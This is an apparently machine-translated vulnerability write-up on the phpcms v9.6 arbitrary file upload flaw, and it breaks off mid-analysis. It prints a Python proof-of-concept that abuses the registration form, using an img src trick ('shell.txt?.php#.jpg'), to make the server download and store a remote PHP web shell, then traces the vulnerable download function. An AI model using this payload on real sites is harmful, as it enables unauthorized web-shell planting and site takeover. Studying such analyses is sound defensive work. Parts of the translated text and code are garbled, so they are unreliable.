Author: p0wd3r (know Chong Yu 404 security lab) Date: 2017-04-12
A few days ago phpcms v9. 6 arbitrary file upload vulnerability caused by a safety ring hot, by the vulnerability the attacker may be in the unauthorized case any file is uploaded, the impact should not be underestimated. phpcms official today released a 9. 6. 1 version, of vulnerability is a patch to fix.
Arbitrary file upload
This article from the PoC perspective, the reverse reduction of the vulnerability process, if have what wrong place, also hope you a lot of advice.
First let’s look at a simplified PoC of:
import re
import requests
def poc(url):
u = ‘{}/index. php? m=member&c=index&a=register&siteid=1’. format(url)
data = {
‘siteid’: ‘1’,
‘modelid’: ‘1’,
‘username’: ‘test’,
‘password’: ‘testxx’,
‘email’: ‘[email protected]’,
‘info[content]’: ‘<img src=“http://url/shell.txt?.php#.jpg”>’,
‘dosubmit’: ‘1’,
}
rep = requests. post(u, data=data)
shell = "
re_result = re. findall(r’<img src>', rep. content)
if len(re_result):
shell = re_result[0]
print shell
You can see the PoC is to initiate a registration request, the corresponding is phpcms/modules/member/index.php in the register function, so we where under the breakpoint, and then use the PoC and turn on dynamic debugging, in obtaining some of the information after the function go to the following location:
! [](/Article/UploadPic/2017-4/2017413111840228. png)
Through the PoC is not difficult to see our payload in $_POST[‘info’], and here for $_POST[‘info’] have been processed, so we need to follow.
In the use of new_html_special_chars for <> after encoding, into the $member_input->get Function, This function is located in caches/caches_model/caches_data/member_input.class.php next function go to the following location:
! [](/Article/UploadPic/2017-4/2017413111841718. png)
Since our payload is info[content], so the call is to the editor function, also in this file:
! [](/Article/UploadPic/2017-4/2017413111841236. png)
The next execution of the function $this->attachment->download function to download, we continue to follow, in phpcms/libs/classes/attachment.class.php in:
function download($field, $value,$watermark = ‘0’,$ext = ‘gif|jpg|jpeg|bmp|png’, $absurl = “, $basehref = “)
{
global $image_d;
$this->att_db = pc_base::load_model(‘attachment_model’);
$upload_url = pc_base::load_config(‘system’,‘upload_url’);
$this->field = $field;
$dir = date(‘Y/md/’);
$uploadpath = $upload_url.$ dir;
$uploaddir = $this->upload_root.$ dir;
$string = new_stripslashes($value);
if(! preg_match_all(”/(href|src)=(["|‘]?) ([^ "’>]+. ($ext))\2/i”, $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, ‘://’) === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, ‘://’) === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$ filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS[‘downloadfiles’][] = $newpath[] = $uploadpath.$ filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$ filename;
$downloadedfile = array(‘filename’=>$filename, ‘filepath’=>$filepath, ‘filesize’=>filesize($newfile), ‘fileext’=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
Function the first of the $value in the quotation marks were escaped, and then use regex matching:
$ext = ‘gif|jpg|jpeg|bmp|png’;
…
$string = new_stripslashes($value);
if(! preg_match_all(“/(href|src)=(["|‘]?) ([^ "’>]+. ($ext))\2/i”,$string, $matches)) return $value;
Here the canonical requirements of the input to meet the src/href=url. (gif|jpg|jpeg|bmp|png), our payload ( <img src=http://url/of shell. txt?. php#. jpg>, conform to this format which is why later to add . jpg.
Next, the program use this line of code to remove url in anchor point: $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); and, after processing $remotefileurls the content is as follows: